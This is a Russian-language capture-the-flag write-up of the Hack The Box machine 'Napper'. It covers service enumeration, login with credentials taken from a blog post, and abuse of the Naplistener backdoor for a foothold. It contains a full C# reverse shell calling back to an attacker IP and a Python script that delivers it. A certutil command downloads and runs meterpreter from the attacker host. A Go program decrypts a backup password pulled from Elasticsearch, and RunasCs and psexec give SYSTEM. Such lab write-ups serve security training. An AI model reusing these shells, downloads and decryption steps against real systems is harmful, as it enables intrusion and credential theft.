Telegram / Boosty / Видео

Подпишись на канал t.me/kiberdruzhinnik, чтобы не пропускать контент.

Смотри на t.me/kiberdruzhinnik/184.

Также на https://boosty.to/kiberdruzhinnik/posts/78237b2d-fea4-4910-9dde-90a507c70a9a я опубликовал подробный видео разбор этой задачи. Это может быть полезно для обучения, если вы делаете первые шаги в информационной безопасности. Поддержать меня на Boosty.

Обзор сервисов

Машине присвоен IP-адрес 10.10.11.240, запустим сканирование портов с помощью rustscan:

$ rustscan --ulimit=5000 --range=1-65535 -a 10.10.11.240 -- -A -sC
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Nmap? More like slowmap.🐢

[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.240:80
Open 10.10.11.240:443
Open 10.10.11.240:7680
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -A -sC" on ip 10.10.11.240
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-11 14:01 EST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:01
Completed NSE at 14:01, 0.00s elapsed
Initiating Ping Scan at 14:01
Scanning 10.10.11.240 [2 ports]
Completed Ping Scan at 14:01, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:01
Completed Parallel DNS resolution of 1 host. at 14:01, 1.36s elapsed
DNS resolution of 1 IPs took 1.36s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 14:01
Scanning 10.10.11.240 [3 ports]
Discovered open port 7680/tcp on 10.10.11.240
Discovered open port 443/tcp on 10.10.11.240
Discovered open port 80/tcp on 10.10.11.240
Completed Connect Scan at 14:01, 0.26s elapsed (3 total ports)
Initiating Service scan at 14:01
Scanning 3 services on 10.10.11.240
Completed Service scan at 14:02, 48.89s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.11.240.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:02
Completed NSE at 14:02, 5.12s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:02
Completed NSE at 14:02, 1.47s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:02
Completed NSE at 14:02, 0.00s elapsed
Nmap scan report for 10.10.11.240
Host is up, received syn-ack (0.12s latency).
Scanned at 2023-11-11 14:01:36 EST for 56s

PORT     STATE SERVICE    REASON  VERSION
80/tcp   open  http       syn-ack Microsoft IIS httpd 10.0
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to https://app.napper.htb
443/tcp  open  ssl/http   syn-ack Microsoft IIS httpd 10.0
|_http-title: Research Blog | Home
| tls-alpn:
|_  http/1.1
|_ssl-date: 2023-11-11T19:02:31+00:00; 0s from scanner time.
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=app.napper.htb/organizationName=MLopsHub/stateOrProvinceName=California/countryName=US/organizationalUnitName=MlopsHub Dev/localityName=San Fransisco
| Subject Alternative Name: DNS:app.napper.htb
| Issuer: commonName=ca.napper.htb/countryName=US/localityName=San Fransisco
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-06-07T14:58:55
| Not valid after:  2033-06-04T14:58:55
| MD5:   ee1a:dff8:9a6f:5ddd:1add:9d22:0408:58dc
| SHA-1: f134:fe38:31f5:0c74:9a26:d441:63a8:232d:a67a:782b
| -----BEGIN CERTIFICATE-----
| MIIDzTCCArWgAwIBAgIJALM7fwOVfMaCMA0GCSqGSIb3DQEBCwUAMD0xFjAUBgNV
| BAMMDWNhLm5hcHBlci5odGIxCzAJBgNVBAYTAlVTMRYwFAYDVQQHDA1TYW4gRnJh
| bnNpc2NvMB4XDTIzMDYwNzE0NTg1NVoXDTMzMDYwNDE0NTg1NVowfTELMAkGA1UE
| BhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuc2lz
| Y28xETAPBgNVBAoMCE1Mb3BzSHViMRUwEwYDVQQLDAxNbG9wc0h1YiBEZXYxFzAV
| BgNVBAMMDmFwcC5uYXBwZXIuaHRiMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
| CgKCAQEAqkM19E9lbE476qF6RBriuwNHdCgjwLybb9pXWIgtPen6hNCBvzp0XLlY
| ZWJ3NNszYH7Z6pgDJHCDIrSZXtkAEHh7AdoN7ZFLWScHwz/qWesBjH2DYHfBABkm
| qorv3dS6MqpZXJK81e1bQdS9IlRiPmJTYHX17+vfd7FBP2XaARtpgDIkDEPyPIIe
| GfTbtk3/E3N/EjZX7lR7lgAMhZmpEpmb7AoQ1btPraFwH/PXG5r020vfC+fCzgAK
| X3BmCfSzUI2AXz/2GJrRsSSdjKTCLJgn5Cau9bI+IO9pH3HOkfXDiWLB4ip++dGK
| hxYMEc5xwrcF3ZsE6s42cisD8pNipwIDAQABo4GPMIGMMFcGA1UdIwRQME6hQaQ/
| MD0xFjAUBgNVBAMMDWNhLm5hcHBlci5odGIxCzAJBgNVBAYTAlVTMRYwFAYDVQQH
| DA1TYW4gRnJhbnNpc2NvggkA4xs9TVmYevYwCQYDVR0TBAIwADALBgNVHQ8EBAMC
| BPAwGQYDVR0RBBIwEIIOYXBwLm5hcHBlci5odGIwDQYJKoZIhvcNAQELBQADggEB
| ABuy5lV920FJXR4j0dWSAqpEPCXj3jVc7vbozP24sFAocNCzodYiuKV10NyhXxJ+
| rxgu5HgmWk47yaz17eYwMDWYnfoIGRVMl4IkSve/9wr1+ReiywIPGyCG/GCxk3KI
| OG/IyX9j8KR7bhTnlMPixVVqkAu0E2CwZ8I0WmjBdQzEs4wBmpmRO5Eqodxf/jkM
| 3a7CU0Q3m9+SKwOnvarn0Wp++UmlD4/y+O8+j9+URXtD7RElZfrcv9wknVGD7H0s
| U98Kn5WCVanMjGtaQmBjCNdTX/6rif90qiTgyw3mGw8IyatfXAwF75jkvB4vTAHk
| ziVXyfoozsWvOoF8/YiMKsI=
|_-----END CERTIFICATE-----
7680/tcp open  pando-pub? syn-ack
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 0s

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:02
Completed NSE at 14:02, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:02
Completed NSE at 14:02, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:02
Completed NSE at 14:02, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.41 seconds

Сразу добавим себе в /etc/hosts все найденные доменные имена:

$ sudo nano /etc/hosts
10.10.11.240 napper.htb app.napper.htb ca.napper.htb

Веб-сервис

Так выглядит блог:

Alt text

Блог создан с помощью Hugo - это статические файлы.

Запустим gobuster, чтобы поискать другие домены:

$ gobuster vhost -u https://napper.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -k
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             https://napper.htb
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: internal.napper.htb Status: 401 [Size: 1293]
Progress: 4989 / 4990 (99.98%)
===============================================================
Finished
===============================================================

Добавим найденный домен в /etc/hosts.

На внутреннем портале нас встречает Basic Auth.

Alt text

Находим в блоге статью https://app.napper.htb/posts/setup-basic-auth-powershell/, в которой видим пример команды для добавления нового пользователя.

Alt text

Вводим эти креды и попадаем на внутренний портал.

Alt text

В статье https://internal.napper.htb/posts/first-re-research/ находим ссылки на исследование малвари, а также ссылки на другие референсы:

Из текста статьи понимаем, что исследователь запустил малварь на локальной машине вне песочницы.

Naplistener

Хеш файла из ссылок выше 6e8c5bb2dfc90bca380c6f42af7458c8b8af40b7be95fab91e7c67b0dee664c4.

Если отправить пустую форму, то получим 404:

curl -v -k --request POST -d "" https://napper.htb/ews/MsExgHealthCheckd/

Alt text

Если прокинуть параметр sdafwe3rwe23, то сервер отвечает кодом 200:

curl -v -k --request POST -d "sdafwe3rwe23=test" https://napper.htb/ews/MsExgHealthCheckd/

Alt text

Берем любой реверс-шелл и переписываем его с учетом того, что нам нужно создать класс Run.

using System;
using System.Diagnostics;
using System.IO;
using System.Net.Sockets;
using System.Text;

namespace messagebox
{
  internal class Program
  {
    static StreamWriter streamWriter;

    public static void BackConnect(string ip, int port)
    {
        using (TcpClient client = new TcpClient(ip, port))
        {
            using (Stream stream = client.GetStream())
            {
                using (StreamReader rdr = new StreamReader(stream))
                {
                    streamWriter = new StreamWriter(stream);

                    StringBuilder strInput = new StringBuilder();

                    Process p = new Process();
                    p.StartInfo.FileName = "cmd.exe";
                    p.StartInfo.CreateNoWindow = true;
                    p.StartInfo.UseShellExecute = false;
                    p.StartInfo.RedirectStandardOutput = true;
                    p.StartInfo.RedirectStandardInput = true;
                    p.StartInfo.RedirectStandardError = true;
                    p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
                    p.Start();
                    p.BeginOutputReadLine();

                    while (true)
                    {
                        strInput.Append(rdr.ReadLine());
                        p.StandardInput.WriteLine(strInput);
                        strInput.Remove(0, strInput.Length);
                    }
                }
            }
        }
    }

    private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
    {
        StringBuilder strOutput = new StringBuilder();

        if (!string.IsNullOrEmpty(outLine.Data))
        {
            try
            {
                strOutput.Append(outLine.Data);
                streamWriter.WriteLine(strOutput);
                streamWriter.Flush();
            }
            catch (Exception) { }
        }
    }

    static void Main()
    {
        new Run();
    }
  }

  public class Run
  {
    public Run()
    {
        Program.BackConnect("10.10.14.156", 443);
    }
  }
}

Компилируем и получаем base64 представление:

cat messagebox.exe | base64 -w 0 | xclip -sel clip

Вставляем в payload в скрипт:

import requests
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)


hosts = ["napper.htb"]
payload = "<>"

form_field=f"sdafwe3rwe23={requests.utils.quote(payload)}"

for h in hosts:
   url_ssl= f"https://{h}/ews/MsExgHealthCheckd/"

   try:
       status_code = 0
       while status_code != 200:
           r_ssl = requests.post(url_ssl, data=form_field, verify=False, auth=("example", "ExamplePassword"))
           print(f"{url_ssl} : {r_ssl.status_code} {r_ssl.headers}")
           status_code = r_ssl.status_code
           time.sleep(1)
   except KeyboardInterrupt:
       exit()
   except Exception as e:
       print("e")
       pass

Запускаем скрипт и ловим реверс-шелл.

Alt text

Пользовательский флаг

Alt text

Повышение привилегий

Скачаем meterpreter:

certutil -urlcache -f http://10.10.14.156:4243/shell.exe %temp%/s.exe
start %temp%/s.exe

Запустим netstat и посмотрим на подключения:

    Proto  Local address                   Remote address     State        User  Inode  PID/Program name
    -----  -------------                   --------------     -----        ----  -----  ----------------
    tcp    0.0.0.0:80                      0.0.0.0:*          LISTEN       0     0      4/System
    tcp    0.0.0.0:135                     0.0.0.0:*          LISTEN       0     0      892/svchost.exe
    tcp    0.0.0.0:443                     0.0.0.0:*          LISTEN       0     0      4/System
    tcp    0.0.0.0:445                     0.0.0.0:*          LISTEN       0     0      4/System
    tcp    0.0.0.0:5040                    0.0.0.0:*          LISTEN       0     0      1940/svchost.exe
    tcp    0.0.0.0:7680                    0.0.0.0:*          LISTEN       0     0      2440/svchost.exe
    tcp    0.0.0.0:49664                   0.0.0.0:*          LISTEN       0     0      676/lsass.exe
    tcp    0.0.0.0:49665                   0.0.0.0:*          LISTEN       0     0      536/wininit.exe
    tcp    0.0.0.0:49666                   0.0.0.0:*          LISTEN       0     0      1136/svchost.exe
    tcp    0.0.0.0:49667                   0.0.0.0:*          LISTEN       0     0      1560/svchost.exe
    tcp    0.0.0.0:58797                   0.0.0.0:*          LISTEN       0     0      660/services.exe
    tcp    10.10.11.240:139                0.0.0.0:*          LISTEN       0     0      4/System
    tcp    127.0.0.1:9200                  0.0.0.0:*          LISTEN       0     0      692/java.exe
    tcp    127.0.0.1:9300                  0.0.0.0:*          LISTEN       0     0      692/java.exe

Два сервиса висят локально на портах 9200 и 9300 - это эластик.

Заметки в internal:

C:\Temp\www\internal\content\posts>type no-more-laps.md
type no-more-laps.md
---
title: "**INTERNAL** Getting rid of LAPS"
description: Replacing LAPS with out own custom solution
date: 2023-07-01
draft: true
tags: [internal, sysadmin]
---

# Intro

We are getting rid of LAPS in favor of our own custom solution.
The password for the `backup` user will be stored in the local Elastic DB.

IT will deploy the decryption client to the admin desktops once it it ready.

We do expect the development to be ready soon. The Malware RE team will be the first test group.
Listing: C:\temp\www\internal\content\posts\internal-laps-alpha
===============================================================

Mode              Size      Type  Last modified              Name
----              ----      ----  -------------              ----
100666/rw-rw-rw-  82        fil   2023-06-09 03:28:35 -0400  .env
100777/rwxrwxrwx  12697088  fil   2023-06-09 03:20:07 -0400  a.exe

С кредами из файла .env мы можем ходить в эластик.

$ curl -k -u "user:pass" -X GET https://127.0.0.1:9200
{
  "name" : "NAPPER",
  "cluster_name" : "backupuser",
  "cluster_uuid" : "tWUZG4e8QpWIwT8HmKcBiw",
  "version" : {
    "number" : "8.8.0",
    "build_flavor" : "default",
    "build_type" : "zip",
    "build_hash" : "c01029875a091076ed42cdb3a41c10b1a9a5a20f",
    "build_date" : "2023-05-23T17:16:07.179039820Z",
    "build_snapshot" : false,
    "lucene_version" : "9.6.0",
    "minimum_wire_compatibility_version" : "7.17.0",
    "minimum_index_compatibility_version" : "7.0.0"
  },
  "tagline" : "You Know, for Search"
}

Реверс бинарного файла a.exe

Получаем сид и блоб из эластика:

curl -k -u "user:pass" -X GET "https://localhost:9200/seed/_search"
curl -k -u "user:pass" -X GET "https://localhost:9200/user-00001/_search"

Пишем программу, которая будет автоматически доставать из эластика параметры и декодировать пароль:

package main

import (
 "crypto/aes"
 "crypto/cipher"
 "crypto/tls"
 "encoding/base64"
 "encoding/json"
 "fmt"
 "io"
 "log"
 "math/rand"
 "net/http"
)

var URL = "https://127.0.0.1:9200"
var USERNAME = "user"
var PASSWORD = "pass"

type Blob struct {
 Took     int  `json:"took"`
 TimedOut bool `json:"timed_out"`
 Shards   struct {
  Total      int `json:"total"`
  Successful int `json:"successful"`
  Skipped    int `json:"skipped"`
  Failed     int `json:"failed"`
 } `json:"_shards"`
 Hits struct {
  Total struct {
   Value    int    `json:"value"`
   Relation string `json:"relation"`
  } `json:"total"`
  MaxScore float64 `json:"max_score"`
  Hits     []struct {
   Index  string  `json:"_index"`
   ID     string  `json:"_id"`
   Score  float64 `json:"_score"`
   Source struct {
    Blob      string `json:"blob"`
    Timestamp string `json:"timestamp"`
   } `json:"_source"`
  } `json:"hits"`
 } `json:"hits"`
}

type Seed struct {
 Took     int  `json:"took"`
 TimedOut bool `json:"timed_out"`
 Shards   struct {
  Total      int `json:"total"`
  Successful int `json:"successful"`
  Skipped    int `json:"skipped"`
  Failed     int `json:"failed"`
 } `json:"_shards"`
 Hits struct {
  Total struct {
   Value    int    `json:"value"`
   Relation string `json:"relation"`
  } `json:"total"`
  MaxScore float64 `json:"max_score"`
  Hits     []struct {
   Index  string  `json:"_index"`
   ID     string  `json:"_id"`
   Score  float64 `json:"_score"`
   Source struct {
    Seed int `json:"seed"`
   } `json:"_source"`
  } `json:"hits"`
 } `json:"hits"`
}

func getBlob() string {
 client := &http.Client{
  Transport: &http.Transport{
   TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
  },
 }
 req, err := http.NewRequest("GET", fmt.Sprintf("%s/user-00001/_search", URL), nil)
 if err != nil {
  log.Fatal(err)
 }
 req.SetBasicAuth(USERNAME, PASSWORD)
 res, err := client.Do(req)
 if err != nil {
  log.Fatal(err)
 }
 defer res.Body.Close()
 bodyBytes, err := io.ReadAll(res.Body)
 if err != nil {
  log.Fatal(err)
 }
 var blob Blob
 err = json.Unmarshal(bodyBytes, &blob)
 if err != nil {
  log.Fatal(err)
 }
 return blob.Hits.Hits[0].Source.Blob
}

func getSeed() int64 {
 client := &http.Client{
  Transport: &http.Transport{
   TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
  },
 }
 req, err := http.NewRequest("GET", fmt.Sprintf("%s/seed/_search", URL), nil)
 if err != nil {
  log.Fatal(err)
 }
 req.SetBasicAuth(USERNAME, PASSWORD)
 res, err := client.Do(req)
 if err != nil {
  log.Fatal(err)
 }
 defer res.Body.Close()
 bodyBytes, err := io.ReadAll(res.Body)
 if err != nil {
  log.Fatal(err)
 }
 var seed Seed
 err = json.Unmarshal(bodyBytes, &seed)
 if err != nil {
  log.Fatal(err)
 }
 return int64(seed.Hits.Hits[0].Source.Seed)
}

func main() {
 seed := getSeed()
 blob := getBlob()

 key := genKey(seed)
 m, err := decryptMessage(key, blob)
 if err != nil {
  log.Println(err)
 }
 fmt.Println(m)
}

func genKey(seed int64) []byte {
 rand.Seed(seed)
 out := make([]byte, 16)
 for i := 0; i < 16; i++ {
  out[i] = byte(rand.Intn(254) + 1)
 }
 return out
}

func decryptMessage(key []byte, message string) (string, error) {
 cipherText, err := base64.URLEncoding.DecodeString(message)
 if err != nil {
  return "", fmt.Errorf("could not base64 decode: %v", err)
 }

 block, err := aes.NewCipher(key)
 if err != nil {
  return "", fmt.Errorf("could not create new cipher: %v", err)
 }

 if len(cipherText) < aes.BlockSize {
  return "", fmt.Errorf("invalid ciphertext block size")
 }

 offset := 0
 iv := cipherText[offset : offset+aes.BlockSize]
 cipherText = cipherText[aes.BlockSize:]

 stream := cipher.NewCFBDecrypter(block, iv)
 stream.XORKeyStream(cipherText, cipherText)

 return string(cipherText), nil
}

Команда для компиляции:

GOOS=windows GOARCH=amd64 go build p.go

Воспользуемся runascs, предварительно скомпилировав его на Windows.

Загрузим на машину получившийся файл runascs.exe, p.exe и наш шелл s3.exe.

На удаленной машине запустим его со следующими параметрами:

.\runascs.exe backup $(.\p.exe) "C:\\temp\\s\\s3.exe" -l 8 -b

Alt text

Далее загрузим psexec и второй наш шелл s4.exe:

psexec -accepteula -s -i C:\temp\s\s4.exe

Alt text

Флаг суперпользователя

Alt text